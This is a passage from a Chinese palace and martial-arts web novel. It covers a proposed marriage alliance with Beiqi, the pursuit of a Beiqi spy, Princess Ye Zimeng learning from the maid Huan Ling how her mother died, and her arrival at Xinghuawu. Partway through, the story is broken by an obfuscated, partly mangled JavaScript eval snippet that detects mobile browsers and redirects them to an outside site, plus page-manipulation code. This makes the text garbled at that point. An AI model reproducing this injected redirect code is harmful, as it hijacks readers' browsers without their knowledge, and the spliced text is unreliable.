第二日清晨,叶子萌已把此事忘得干干净净,等西门轩等人出去后,就去前厅找聂浣儿,正在这时,只听外面李公公一声吆喝:“太后驾到!” 兵部侍郎聂清池上朝还未回来,聂母和聂夫人闻讯出来,拜见了太后,然后聂母上前拉着太后的手笑道:“姐姐,难得你出宫,来之前怎么不派人先打声招呼,我也好准备准备?” “哎,”太后笑道,“准备什么,都是自家人,我就是随便来看看你们,看看子萌和浣儿、还有小云他们……” “皇奶奶……”叶子萌笑迎出来,她是皇家嫡亲,等她给自己的皇祖母请安后,浣儿和小云这才迎上去,小心翼翼地给太后请安。 “好呀好呀,”太后笑着,“孩子们都好呀!” 在婢女们慌乱急促的脚步声中,那香茶、那果盘……被端着鱼贯而入,恭恭敬敬摆上。 大家闲聊一阵,似乎都聊不上正题,倒是叶子萌聪慧之极,灵机一动,于是对太后说道:“皇奶奶,有件新鲜事,孙女我昨晚上做了一个怪梦,那梦现在想起都还有些瘆人,你会解梦吗?” 太后一听,摇头说道:“我倒不会解梦,不过你皇叔叶真深谙解梦之术,你且讲来,我回去让他替你解解。” 于是叶子萌便临时瞎编起来:“我梦见自己正在宫中御清池边观赏荷花,忽然从池中蹦出一只蟾蜍,嗖地跳到我面前,它变啊变啊,那肚子就膨胀起来,张开大嘴就想来吃我,把我吓得,一下就惊醒了……” 旁边的聂母吴姬和聂夫人,也都被叶子萌手势吓了一跳。聂夫人咋咋呼呼地说:“我以前也梦见过蟾蜍,不过是小的,比指头大不了多少,我一脚就把它踢飞了;你的蟾蜍这么大、这么厉害啊?” 36. 和亲复杂,暗探进京 “哦?”太后听了,如坠五里云雾,呆呆说道:“这是何梦啊?那蟾蜍什么颜色?” 叶子萌想想说:“嗯,泥土颜色,全身疙疙瘩瘩的,啊呀,瘆人得很!” 一旁的浣儿道:“那不是癞蛤蟆吗?” 聂母和聂夫人不解其意,道:“什么,癞蛤蟆?这是何意?” 聂小云在一旁捏着鼻子坏笑。 太后也愣了一下,突然,她想到什么,于是忍不住哈哈大笑……叶子萌却装着不知,望着她道:“皇奶奶笑甚?” 太后笑得眼泪都出来了,她喘着气儿说:“你这梦使我联想起王母娘娘的一次蟠桃会,不过,纯粹是巧合而已,不说它也罢……” 全部在场的人都在静静地看着她。 太后笑完,擦了擦泪水,轻轻抿了口茶,这才抬起头来打量着叶子萌和浣儿,并问她妹妹吴姬道:“浣儿郡主今年多大年龄啦,还未婚配吧?” 旁边的聂夫人应道:“浣儿今年十七八,比子萌妹妹大一些,还未婚配。” 太后说:“过了及笄之年,是到了该谈婚论嫁的时候,若是我来替浣儿作主,给你提一门亲,你可愿意?” 浣儿顿时有些害羞,低下头说:“太后说的可是真的?” “我这就是闲聊而已,也没有想妥……”太后沉吟片刻,又说,“我假设一下,倘若要你与他国皇子联姻,也即去和亲,你可愿意?” “好啊,这是喜事!”一旁的聂小云脱口而出。 聂夫人用拐肘戳他一下,道:“闭嘴,这里没你说话的份!” “哦,”聂小云连忙用手捂住了自己的嘴。 浣儿则低头沉吟着,半天没回。这浣儿是无比聪慧之人,她忽然觉得太后今天这话中有话,恐怕不是“闲聊”,于是干脆不作声,想听她下一步又怎么说。 太后见她不回答,心里也没有底了,于是掉头去问叶子萌:“倘若是你呢,你愿意去和亲吗?” 叶子萌点点头,又摇摇头,装着什么都不知道,懵懵懂懂地问:“皇奶奶,你说的什么呀,子萌愚钝,还望皇奶奶进一步明示……” 太后再无办法,只好叹了一口气,说道:“好吧,实话告诉你吧,北旗皇帝高渊昨日派遣信使到了京城,还送来了八大箱子彩礼,要为他的大皇子高炜提亲。那个高炜前段时间不是率队来过我们京城上贡品吗,他是看上你啦!” “啊?”叶子萌装出惊讶的样子,呆呆地望着太后,“皇奶奶,你不是逗我玩的吧?” “我为何逗你玩?”太后说。 “糟了……”叶子萌说,“那我、我昨晚做的那……那梦……” 一旁的聂浣儿忍不住噗哧一笑。 太后顿时也恍然大悟,她暗暗一想,嘴上喃喃说道:“啊,这世上哪有这么凑巧和灵异的事?” 一旁的聂夫人也神叨叨地说:“这件事还未对明浩公主提及,她提前就做了这个梦,难道她真的是修仙炼道之人,已是通灵了?” 太后一听,也暗暗惊讶,不过,她现在已是顾不得这些了,又问叶子萌道:“子萌,你就索性回答你奶奶,愿不愿意吧?” 叶子萌装出很沮丧的样儿,道:“我想先听听皇奶奶的意思……” 其实这事太后已经想得很清楚了,她怎么舍得让这唯一的亲骨肉嫁到那蛮荒之地去呢?只是她现在多了个心眼,就想通过这件事,来看明白另外一些事,甚至想挖出一些“意外”之事来。 不过,她也想知道或听听的叶子萌意见,不料这个孙女忒贼,现在反倒问她,于是她说:“北旗与我悒国在边关争战多年,按理说现在两国关系到了和亲阶段,这对国家和黎民来说,倒是件大好之事。只是……” “只是什么?”叶子萌问。 当着众多人的面,太后自然不能表现得太矫情,张口就说舍不得她,假装说的也不行,于是支支吾吾地说:“要是让浣儿郡主去和这个亲,到时你后悔可就来不及了!” 一旁的聂小云立即说:“对方是皇子,也算是门当户对……”话刚吐出半句,他母亲聂夫人和他奶奶聂母同时用手肘狠狠撞他,他马上就闭嘴了。 聂浣儿听太后这样说,仍然不说话,她深知此事重大,北旗都来了使者,这件事与她恐怕没一点关系,太后只是借她说话而已,所以她什么都无所谓。 叶子萌见太后盯着自己,清楚她是一定想知道自己态度的,于是脑子里开始飞快地运转,忽就想起一个更妙的主意,便回答说:“皇奶奶,这件事我一人也做不了主,看来得回去一趟,问问我爹爹和娘亲……” 太后最不喜欢听到的,就是这类所谓的亲子话语,但是平心而论,叶子萌这样说,也一点毛病也没有,毕竟叶子萌刚来到这世间,就由她这两个养父母抚养大,十几年的感情,不是说没有就没有的。 现在既然她在用猛力追问叶子萌对这门“婚事”的态度,叶子萌又这样回答,她就只有点头叹气的份了,看来她真是“自讨苦吃”,自以为精明老道,却自己给自己挖了个不大不小的坑。 想到这里,太后便摆摆手说道:“也罢,你可去与你的养父母知会一声,让她们知晓此事,不过,你是我叶家的后嗣血脉,这件事他们断然是不能做主的……” 一旁的聂母说道:“怎么,子萌要去蜀都,什么时候起程,我也好替你备些薄礼。” 叶子萌摇头道:“姨祖母的心意我领了,礼就免了,路上带着累赘……” 太后道:“我命人替你准备辇轿和卫队随从……” “谢谢皇奶奶,”叶子萌笑道:“不过这次我想不劳烦奶奶,这次回去我就骑马,只带上云媃和静香即可,这样既好玩,又快些,问好后就快些返回。” 太后点着她鼻子笑道:“你呀,就知道好玩!好吧,皇奶奶就依你的。” …… 太后回到千寿宫后,有宫女禀报了凤仪女官米莲,米莲连忙跑去见太后,请安后,问道:“太后,怎么样,明浩公主自己是什么态度?” “怎么你比我还急啊?”太后脸色阴沉,一脸不悦。 米莲的眼珠子转转,知道太后的不悦与自己无关,于是轻轻凑上前去,柔声问道:“太后,要不要我替你揉揉腿?” “嗯。”太后点点头,于是米莲抬来一个厚厚的坐垫,将太后的腿放到垫子上,轻轻地揉拨起来,边揉边悄悄去瞥她,半晌才问:“公主顶嘴啦?” “那倒没有,这孩子还是挺乖巧的……”太后叹口气,脸色慢慢缓和过来。 “那又是为了什么?”米莲说。 “其实也没什么,”太后说,“和亲的事,她要回去问问她的养父母……” 米莲一下就全明白了,原来太后在吃这醋。她偷偷抿嘴一笑,然后说:“公主尚年轻,婚嫁之事什么都不懂,回去问问也是人之常情,不必在意,再说过几天她不是又回来了吗?” 太后听米莲这样一说,便觉得自己的矫情被人看出来了,连忙回过神,掉转话头说:“对了,那件事安排了吗?” 米莲点点头:“正在安排,太后放心,误不了事的。”想起什么,又问,“公主去魏,暗卫跟到哪?” 太后嘴里吐出八个字:“一路跟随,见机行事。” …… 再说西门轩与云媃,这段时间已经把京都的城西一带探了个遍,这天又来到城北街衢,在路口看见一玩杂耍的,正将帕子里的一白色花朵变成了一只白鸽,然后往空中一抛,那白鸽就展开翅膀向远处扑腾飞去,赢得围观者一阵喝彩…… 西门轩与云媃凑上前去观看,云媃正在看着,旁边忽路过两人,其中一人似曾眼熟,云媃掉头一看,想了想,又拉拉西门轩袖袍,悄悄指给他看。 西门轩掉头看去,只看到个背影,便问:“那是谁?” 云媃悄悄说道:“好像是李诀?” “李诀?”西门轩思忖着,“这名字好熟……” 云媃咬牙低声说道:“你这脑袋里一天不知净想些什么,那个宫中的羽林中郎将李诀呀!”< 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云媃知道他这功夫的火候还稍欠,于是大气不敢出,一声不吭地望着他。 少顷,他睁开了眼睛,云媃凑上去问道:“如何,可听到了什么?” 西门轩摇摇头道:“茶肆太过喧闹,干扰过多,听得不是很真切,只隐隐约约听见另一人好像在说,‘和亲去……时……’,其他就听不清了。” 云媃迷惑不解:“又是和亲?什么乱七八糟的……” 正在这时,隔壁的人出来了,从这边窗边走过时,西门轩和云媃这才看得真真切切,李诀旁边那人,脸上轮廓刚毅,身子粗壮彪悍,不像是中土人士,更不像是京都人。 云媃道:“那人应该是北旗人,这李诀怎么和北旗那边的人搅和到一块了?” 西门轩也觉得有些奇怪,他把手指一挥,示意云媃与他尾随而去,两人走出茶肆,见李诀与那人已经分开,李诀向南,那异邦人向北,于是不再去管李诀,只尾随异邦人而去。 异邦人在街衢七弯八拐,进入一僻静胡同,里面一株柳树上拴有三匹黑亮如缎的南番良马,异邦人走到马前突然停住并回过头,西门轩与云媃不及躲藏,只得硬着头皮走过去。 异邦人正在解开拴马绳索,西门轩和云媃与他擦身而过时,那人神情紧张,一双鹰眼盯住他们,并不由自主地停了手上的解绳动作。 各位看客,你道这人是谁,原来正是北旗卫将军莫日尔派来的那个密探,现在看来,这位悒国宫中的羽林中郎将李诀,竟与北旗那边有了瓜葛? “得抓住这个奸细……”西门轩脑里忽闪出这个念头,于是趁与异邦人擦身而过,猛然间伸出手抓住那人的手臂,喝道,“跟我走一趟罢!” 那异邦人吓了一跳,脸色一下大变,不及细想,返身抽出一把弯刀,劈头就朝西门轩砍去,早有防备的西门轩一闪身,同时飞起一脚,就将那人的弯刀踢飞。 异邦人见势不妙,牵着马匹就往前跑,同时口里吹了个唿哨,这时就见胡同另一边跑来两个异邦人,其一人搭箭就射,眼看那箭飞来就要射中西门轩,一旁的云媃连忙扑上去挡箭,被射中了左肩,她一下捂住肩膀摔倒在地。 “云媃!”西门轩奔过去,从地上扶起了她,那三个异邦人似乎不敢恋战,各各骑上马,匆匆忙忙窜出胡同,上了拱桥,往远处城门方向疾驰而去…… “怎么样,云媃?”西门轩扶着云媃,查看伤情道,“伤得重吗?” “不要紧,”云媃捂住伤口,咬着牙说,“事情已经明了,李诀与北旗脱不了关系,你扶着我,我们赶紧回去告知子萌妹妹吧!” 西门轩点点头,从地上扶起云媃,慢慢往相反方向走去。 回到聂王府后院,静香见西门轩扶着云媃,惊讶问道:“云媃师姐怎么啦,发生了什么事?快,快去后院!怎么才回来,还负了伤,子萌妹妹已等候你们多时……” 37. 巧遇浣菱,知母死因 静香上前去扶着云媃的手臂,往后院走,云媃却说:“不要紧,只是受了点皮外伤……有什么事吗?” “别问那么多,去时自然知道……”静香说。 一进叶子萌房间,叶子萌见状,马上站起问道:“云媃师姐怎么受了伤?谁射的箭?静香,快去把药箱拿来。” 药箱拿来后,叶子萌一边替云媃拔箭上药,一边听西门轩讲述事情经过,然后说:“幸亏云媃替你挡箭,算是救了你一命!” “感谢云姑娘搭救之恩,”西门轩搔搔头说,“算我欠你的,记在账上……” “滚!”云媃痛得哭丧着脸,骂道,“谁要你记在账上?” 替云媃包扎好后,叶子萌又说:“本来我打算明日回圣武堂一趟,让云媃和静香跟我一道回去,现在看来,云媃却受了伤……” 一听回圣武堂,云媃马上说:“让我跟你们一道回去吧,这点伤算什么,不碍事的!” “你……”叶子萌掉头望着她,“你真的能行?” “真的,没关系的!”云媃说。 “那好,”叶子萌说,“云媃和静香跟我回去,西门哥哥与子寻风就留在这里,继续打探,空时也去赵渊如府上,把我回去的消息告诉给林啸他们,去时小心一些,别让旁人发现……” 云媃见叶子萌同意,自然欣慰,但有些不解,又问:“你怎么这时回去?有何事?” 叶子萌便把太后来找她,就“和亲”征求她意愿一事,原原本本讲了出来,末了说:“和亲这件事挺伤脑筋的,于是我就想拖着,多些时间周旋,看看能否想出个妥当的对应之策。” 云媃听她提到“和亲”,于是赶紧说道:“对了,先前西门哥哥讲述李诀与那外邦人在茶肆秘密接头时,忘了提一事,即他似乎听到他们也提到‘和亲’二字?” 叶子萌一听,感到有些奇怪,自言自语道:“李诀怎么会对北旗人提到‘和亲’?难道他们是在传递什么消息?或这其中还藏有何玄机?” 四人分析半天,也没个头绪,全是猜测,叶子萌便把手一挥,道:“罢了,随它去,这京都之事,实在太复杂,我们暂不去管它,先回去再说……” 到了晚上,在西门轩和子寻风的房间里,西门轩正在垂头丧气地想什么,子寻风走上去前去,拍了拍肩膀,说:“又在想什么呢?” 西门轩没回答,警惕地望着他,说:“你这家伙,又想憋什么坏?” “唉,西门兄,你怎么老是不信任我?”子寻风问。 “你究竟想说什么?”西门轩问。 子寻风想了想,说:“好吧,说就说,今天云媃替你挡了一箭,我算弄明白了……” “弄明白什么?” “你当时称算你欠她的,记在账上,她却怒骂你一句:谁要你记在账上?是不是这样?你知道她为何要骂你吗?” 西门轩一听,问:“为何?” 子寻风说:“你难道看不出,其实最在乎你的,不正是她吗?” “所以呢?”西门轩问。 “所以,”子寻风说,“她是不要你还,而是要你去理解她,懂得她,然后用真心去对待她,难道你不懂吗?” 西门轩不说话了,他知道子寻风点着了他的穴位,但他不甘心似的,假装不知,嘴里嘟嘟哝哝地说:“什么乱七八糟的,不与你说,我睡觉了……”说着仰面倒下,用被子捂着了头。 “唉,冥顽不化!”子寻风叹气说。 …… 翌日,叶子萌告别聂母、侯王聂清池、及聂夫人、聂浣儿等人,与云媃和静香骑上马匹,离开了聂王府,扬鞭出城,朝魏国方向疾驰而去…… 但见叶子萌身穿蔚蓝色的衣衫,云媃和静香身穿淡黄色的衣裙,三位女子英姿飒爽,衣炔飘飘,在官道上飞奔,路人见了,都忍不住驻脚观望。 刚出城不远,就见前面一乘蓝色的官家辇轿,轿旁有一妇人跪倒在地,两个官轿的随行役吏正用鞭子抽打她,说她是有意撞击官轿,冒犯大人。 此妇脸色白晳,虽一身粗布衣衫,但五官端正不俗,不像一般穷苦妇人,正用手臂捂着头,默不作声,任凭役吏鞭打…… 叶子萌见状,于心不忍,策马前去,喝道:“住手!你们两个男儿壮汉殴打一个赤手空拳的柔弱妇人,是何道理?” 那两个役吏抬头一看,见叶子萌气度不凡,还有两名随从,于是不敢造次,凑去官轿对里面的人说了句什么,就见轿窗掀开,露出一肥头大耳的官吏模样的人头来。 “来者何人,”这胖官说,“竟敢拦轿?” 叶子萌喝道:“光天化日之下殴打民妇,还有没有王法?” “我就是王法!”胖官喝道,“官轿路过,此妇人不仅不让道,还似故意歪倒撞我官轿,我教训教训她,与你何干?” “路见不平,拔刀相助,本女子管定了!”叶子萌娇声喝道。在目前这种身陷困局的情形下,她就想故意惹出点什么事情来。 胖官对一旁站着的两个随从说:“傻站着做甚,还不快快给本官赶走!” 那两个捏着鞭子的役吏正要上前,一旁的云媃策马上前两步,喝道:“站住,这位是我家公主,你等岂敢无礼,还不跪下叩拜!” “公主?”胖官一听,便拿眼仔细打量叶子萌,他只听说当今皇帝有个公主,还是个小女孩,前皇帝的公主也是个学武的老姑娘,再说公主出门哪有骑个马乱跑的,于是怒道:“什么公主母主,我还是皇上呢,给我用鞭子打!” 一役吏举起鞭子就朝叶子萌这边打来,可不知怎的,那鞭子刚抽出去,就在云里雾里中被叶子萌夺到手里,只见她轻轻一甩鞭,啪地一响,鞭梢就落到轿窗那里,胖官啊呀一声,就捂住脸栽回轿子。 那两个役吏见状,忙对轿夫喊道:“快快起轿,快快起轿……”然后就跟着辇轿朝前面落荒而逃,只依稀听到轿里传来胖官的缥缈余音:“你且等着……” 叶子萌也不去追赶,下马扶起那个妇人,对她说:“这位婶,现在没事了,你家在哪,要不要我们送你回去?” 妇人道:“我就住城里,去城郊杨家村找个人,不妨事,我一人能走去……对了,刚才我听这个丫头叫你‘公主’,难道你真的是‘公主’?” 叶子萌倒有些腼腆了,微笑不语,静香在一旁说:“婶,这是我家明浩公主,是当今皇帝的侄女呢!” 叶子萌瞪她一眼,似在怪她多嘴,于是静香闭口了。 不料,那妇人一听,就抓住了叶子萌的手,直瞪瞪地看着她,万分惊讶地说:“你、你是我悒国……悒国的明浩公主?……” 叶子萌听她这样一说,也有些惊讶,于是便将她搀扶到路边一大石头上坐下,望着她轻声问道:“婶,你难道知道我?……” 此时,那妇人的脸色已经大变,眼里就涌出了两行泪水,她紧紧地抓住叶子萌那双细嫩的手,好像生怕她会消失不见似的,嘴里憋出了一句:“子萌!原来你就是我寻找多年的子萌啊?……” “啊?”叶子萌浑身一震,睁大了眼睛,她在脑海的记忆中迅速搜寻起来,可是搜寻半天,也没有一星半点这个妇人的印象和踪迹…… 不仅是叶子萌,旁边的云媃和静香也很惊讶,她俩仔细瞧着这位妇人,也感到很陌生,但她又为何会喊出叶子萌的名字呢? 各位看官,你道这人是谁? 原来,她就是叶子萌等人正在到处寻找的关键人物、当年太子妃李媚儿身边的那个贴身宫女浣菱,李媚儿被打入冷宫太阴宫时,就是她一直伴随在李媚儿左右照顾! “原来你就是浣菱姑姑?”叶子萌一把抓住了妇人的手。 “我是……是……”妇人使劲地点着头。 接下去,对于自己母妃的死因,叶子萌开始迫切追问当时情景,于是在浣菱对她们的讲述中,出现了一幅久远而凄凉的岁月图景— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885074|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — 当年在太阴宫的那幕又一次出现:太后与李慧儿发生抓扯,最终李慧儿惨死在皇帝叶炫剑下,血溅一地,浣菱后背也挨了一刀,当场昏死。 之后,有个侍卫按照皇帝叶炫“赐死”的旨意,又返身回去,欲在她身上补两剑,但犹豫片刻,最终不忍,回头瞅见身后已没人,便收剑回鞘,匆匆离去。 当晚,大雨停了,月亮从云层里钻了出来。 太监冯干儿领着两个小太监将这两具尸体抬上板车,拉出宫去,然后找来两个在棺材铺认识的伙计,给了点碎银和一个城门通关腰牌,吩咐他们将尸体悄悄拉往郊外掩埋,不得外传,然后自己去酒馆喝酒去了。 出城到了郊外,两个伙计挖好坑,先将满身是血的李慧儿裹席埋入,接着准备埋掉同样满身是血的浣菱,不料正在这时,浣菱清醒过来,发现情况不对,忽从板车上挣扎坐起。 那晚的月光十分惨白,照在浣菱那满是血迹的脸上,看着甚是瘆人,吓得那两个汉子以为诈尸,哇地怪叫一声,拔腿就跑…… 其中一个叫钱大牛的壮汉,毕竟要胆大些,跑着跑着,觉得事有蹊跷,半途又折了回来,才发现浣菱没死,于是小心上前,哆嗦着声音问道:“你……你是人是鬼?” 此时的浣菱已经完全苏醒,她有气无力地对钱大牛说:“好汉救我……” 钱大牛听她的声音,才知是个年轻女子,于是慢慢上前去扶住她,想了想,先去沟边打些水来替她擦净血污,然后让她坐着等待,自己先把李慧儿的尸身掩埋。 接下去,钱大牛又将浣菱抱上板车,然后趁夜返回,将其悄悄拉回自己家,喂了汤米,换了干净衣服,又弄来一些创伤药物救治,并让其睡下休息…… 翌日上午,等浣菱苏醒,钱大牛便问她昨晚究竟是怎么回事,浣菱一听便泪如雨下,哽咽着声音将自己的悲惨遭遇讲述出来,并要求钱大牛千万别去外传,否则或会让他遭来杀身之祸。 钱大牛听了,吓得浑身哆嗦,自然不敢向外透露半字,也对这位宫中的浣菱非常同情,于是悄悄留下,悉心照料救治,让浣菱终于脱离了鬼门关。 可以说,钱大牛就是浣菱的救命恩人! 浣菱的模样长得本来就脱俗不凡,钱大牛呢,因穷也是单身未娶,时间一长,两人便渐渐产生了感情,又经过一段时间的共同生活,耳厮鬓磨,两人终于成了一对患难夫妻。 浣菱早知道太子妃李慧儿有一女婴叫叶子萌,被称“明浩公主”,已被人救走,她记着太子妃的叮嘱,一直留意着她的消息,可是十几年过去,这女孩儿仿佛石沉大海,渺无音讯。 这次她听人说,当年皇太子的女儿在魏国找到,并接回了悒国宫中,只可惜她身份卑微,又怕暴露,故寻找公主无门。不料,如今老天有眼,让她能在这城郊之地巧遇了公主。 …… 听浣菱流着眼泪讲述完毕,叶子萌也早已是泪水涟涟了,她想起自己那从未有缘相见的生母,竟死得这么凄惨,不禁泣不成声,哭着唤道:“母亲啊,你命好苦,竟与女儿阴阳相隔,再也不能相见了……” 一旁的云媃和静香,从未见过叶子萌哭得这般可怜模样,两人眼睛一红,竟也忍不住嘤嘤呜呜地哭泣起来,几个女人的悲声环绕,那老天听了也会感动。 秋天里,微风轻轻吹来,抚慰着那片树叶,那些成片的叶儿好似受了叶子萌悲情的感召,忽然大恸,就纷纷扬扬地漫天落下,似乎这是一种上天对苦命人儿的垂怜…… 这时,四周已慢慢围上来一群路人,都十分好奇地望着这几个悲恸的女人,叶子萌终于回过神,有些警觉起来,拼命收住了恸哭。 片刻,叶子萌对浣菱说:“婶,你住在京城哪里,我从蜀都回来后定去找你,还要烦请你带我去母亲坟上祭拜……” 浣菱便将自己的地址告诉了叶子萌,然后彼此再次拥抱,这才恋恋不舍地分手离去。 …… 38. 去杏花坞,恍入仙景 一路上,叶子萌都沉默寡言,云媃和静香知道她心里难受,也不去打扰她,就跟着她默默前行。 三人渐渐进入魏国境地,来到一岔路口,她们之前去悒国京城时,因随车队,所以没去留意,现在竟弄不清楚,究竟该怎么走了。 这时恰好有个担柴的樵夫过来,云媃过去向他打听,樵夫打量了一下她们,连忙热情地对云媃说道:“这左边的官道,自然是去蜀都城的,而右边的这条商道,沿此路一直走下去,就可以到杏花坞了。” 叶子萌一听杏花坞,立即就记起了梦桃郡主,之前她就与梦桃相约要去杏花坞的,现在更是想去找她诉诉愁肠,或能换换心境,让自己跳出忧伤。 于是她对云媃和静香说:“你们先回圣武堂,告诉我爹娘一些情况,让他们不要为我担心,我去一趟杏花坞,或在那住上一日两日,然后再回。” 云媃和静香知道这叶子萌的性子,凡决定的事情就不会轻易更改,再说让她去杏花坞呆上两日,或能换换心境,于是彼此交换下眼神,不再劝她什么,径自策马向蜀都方向驰骋而去。 叶子萌在马匹上注视着她们,直看到她们的身影消失在远方的绿树丛中,这才轻喝一声:“驾!”朝杏花坞方向策马而去。 …… 少倾,先前那个担柴的樵夫又从树林里钻了出来,望着叶子萌渐渐远去的身影,这才从怀里掏出一块布条,用笔在布条上写下几字,然后将布条塞进一小竹筒,又从担子的包裹里掏出一只信鸽,将小竹筒熟练地绑在信鸽腿上,然后放飞信鸽,这才转过身离去。 …… 悒国皇宫的千寿宫里,米莲进去,见到太后还未来得及说什么,太后就急忙问道:“公主走到哪里了?” 米莲说:“回太后,在魏国一岔路口,公主让两个随从先回了圣武堂,她自己一人去了杏花坞,估计是找那个梦桃郡主去了……” 太后就点点头,道:“这孩子,果然贪玩,让她去吧……” 米莲俯下身子,低声问:“还继续跟吗?” 太后想了想,说:“她既已到魏国杏花坞,应该是安全了,撤了吧。” “是。”米莲点点头,又出了寝宫。 …… 一会,信鸽又飞回樵夫手里,樵夫取出字条展开一看,然后朝树林吹个响哨,就见几个黑衣人从灌木草丛中站起,往东快速奔走回去。 …… 往杏花坞的路上,叶子萌骑着马慢慢溜达着,东瞧瞧,西看看,似乎感到一切都很新鲜。她以前曾听爹爹讲过一个很美的传说:西天瑶池有个杏花仙女,悄悄下凡杏花坞,将杏子发酵酿出美酒,所以,每年等到杏花开放,这杏花坞若是落了春雨,就是杏花仙女的爹娘在天上思念她而洒下的泪水…… 不过现在是秋天,杏花早已开过,也未有什么春雨落下,否则联想起自己亲爹娘的叶子萌,又会在那杏花树下恸哭一场了。 杏花坞渐渐近了,也像渐入佳境一般,好似来到一个神秘而美好的地方,那道路两旁,那村舍田间,就呈现出一幅幅让人心旷神怡的曼妙美境来。 虽然已是秋季,不仅是杏花,连结出的果实也早已不见,但是杏花坞的其他花卉却正在盛开,除了蔷薇花、蝴蝶兰、月季、海棠花、木芙蓉、菊花、桂花等,还可看到彼岸花的残枝败叶。 叶子萌望着那爿红灿灿的残花,心里禁不住暗暗吟道:黄泉路上两不见,彼岸花也无情物……是啊,这彼岸花成了亲爹亲娘黄泉路上唯一的风景! 她又独自吟道:彼岸花开不见叶,花叶相错永不见……是啊,她叶氏家族,好多人也像这弯钩一般的花瓣一样,飘飘落落就不见了! 再往前行,就看见肥沃的田园,其间有纵横交错的溪水,溪水两岸的花草,枯黄中显出成熟之美,溪流中竟有三两条小小的船舫,有文人雅士正在船头摇着折扇,吟唱诗文—— 暮烟起遥岸,斜日照安流/一同心赏夕,暂解去乡忧/野岸平沙合,连山近雾浮/客悲不自已,江上望归舟…… 那可是才子何逊?还是其他人在吟哦他的诗?看他那样,摇头晃脑,哪有真正的悲伤意味?掉头再看,草坡上,牧童正坐在牛背上吹着洞箫,十分应景。 牛羊的背后,便是一片平坦宽广的田畴,再过去就是桑树竹林和一些浅浅的池沼,远处有一排排整齐的房舍,田间小路开着野花,鸡鸣狗叫此起彼落,炊烟袅袅,一派美丽无比的田园牧歌景象。 此正是金秋时节,天高云淡,秋风送爽,置身此景,恍若来到武陵郡打渔人不小心撞见的那个桃花源,难怪梦桃的父亲贵为魏国亲王,也无意争权夺位,要来这里致力于打理杏花坞,闲来就读书种植,享受生活的舒服安逸。 这杏花坞的范围真大,叶子萌一边牵马前行,一边观看景致,也问过放牧小童,但走了很久,也没找到石亲王的府邸。 日头暖暖照着,叶子萌不禁觉得有些疲倦,便在一株桂花树下靠树休息,闻着沁人心脾的桂花香,听着潺潺溪水声,伴着远处若有若无的洞箫声,渐渐昏昏然,居然就睡着了。 她做了一个梦,梦见半空中有一束五彩的光,五彩光的背后渐渐浮现出一张美丽温柔的脸庞,望着她微笑着,耳边似听见她在柔声唤她:我的萌儿,母亲好想你啊,今儿来了,再也不离开你了…… 那声音特别甜美柔和,那笑容也非常温柔可亲,仿佛要把她融化似的,她就眯起眼睛,咧开嘴微笑着,仿佛在享受这种她从未享受过的温暖母爱一般。 这时,有什么东西挠得鼻子痒痒的,叶子萌睁开眼睛,忽见一个熟悉的脸庞在微笑着,定睛一看,原来却是梦桃,身边还站着个牧童,想必是牧童引着她寻来了…… 两人见面,自是欢喜,叶子萌这才慢慢从悲愁的情绪中恢复过来。 梦桃带着她来到石府,把她介绍给了自己爹爹和母亲。亲王石秉章和王妃张氏,早听自己女儿提起过这位明浩公主,现在一见,果然是一位清丽脱俗的美少女,自然是怜爱喜欢得很,连忙替她安排房间食宿,忙碌起来。 梦桃则领着她在府邸到处转悠,府邸很大,墙院一侧还有几个武士在练剑,其中领头的见到梦桃,便拱拱手拜道:“郡主……” 梦桃对他点点头,然后对叶子萌说:“他叫司马泽,是我爹爹的侍卫,武功很高,另几个武士是他的手下……” 转悠一番,这时婢女染香来报:“郡主,膳已备好,老爷叫你和明浩公主去用膳。” 梦桃说:“知道了,去跟爹爹说我们马上就来……” 染香退去,梦桃就指着她背影悄悄对叶子萌说:“别看她外表就是一个普通婢女,可武功厉害着呢,是江南出名的燕子飞,现在隐姓埋名雪藏在此处,连司马泽和他的那些护卫,都不知她的真实身份呢。” “哦?你们亲王府真是藏龙卧虎之地啊!”叶子萌暗暗吃惊,“她为何要到这杏花坞隐姓埋名藏起来?” “这我就不知道了,我从不去问父王。”梦桃摇摇头,又说,“对了,子萌,我们去吃饭吧……”叶子萌这才觉得真的有些饿了,便与梦桃一起过去。 膳已备好,这桌菜真是丰盛,什么螃蟹清羹、煎炒三色鮓、煸润鸠肉,什么荔枝缀腰花、鲜笋蹄子脍、奶色玉蕊羹……都味道鲜美,十分可口。 席间,石亲王抿了一口酒,望着叶子萌说:“平时我听小女说,明浩公主是一位活泼开朗的女中豪杰,可是今日我见你有些落落寡欢,不知为何,是否遇到什么不悦之事?” 梦桃看了一眼旁边的叶子萌,立刻替她答道:“爹爹,女孩儿家常常有些心事,不便与人说,也是正常。我有时不也是那样无端地忧伤吗?” “哦,这倒是……”石亲王点点头 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这话把梦桃逗得咯咯直笑,连叶子萌也忍不住噗哧一笑,石亲王见两个女孩笑了,更是得意,把杯中酒一干,杯子往桌上一杵,又道:“这些文人墨客,个个都熟读太公六韬,颇具安邦济世之才,深得当今圣上喜欢……” 一旁的张王妃打趣道:“恐是深得亲王你喜欢吧?” “可惜,”石亲王又叹道,“真正像蒋相国那样具有雄才大略的人也不多,否则我魏国必具另一番景象呢!” “爹爹,”梦桃有些不解地问,“你不是对蒋相国颇有微词吗,怎么现在又夸奖起这个‘老家伙’来?” “老家伙也有老家伙的长处嘛……”石亲王说,“朝堂上的那些老家伙,凭人品和学识以及能力,还是要数这蒋予夫能拔得头筹,魏国还是离不开他。” “现在不是出了新秀乔与书吗?”梦桃说道,“你不是也经常夸他是魏国未来的栋梁,一提起他就赞不绝口吗?” “这乔公子又另当别论,”石亲王说道,“两年前,据说他父母双亡,他就来杏花坞投奔他大伯乔定筠,有一次我曾与他交谈过,就知此才俊的确有些与众不同!” 叶子萌仔细地听着,忍不住问:“有何不同啊?” 石亲王稍停片刻,才道:“可惜,此俊才空有雄才大略,朝廷也不太重视,更主要的是,他与我一样,不喜官场,淡泊名利,定要学那隐士韦夐,做个逍遥公啊……” 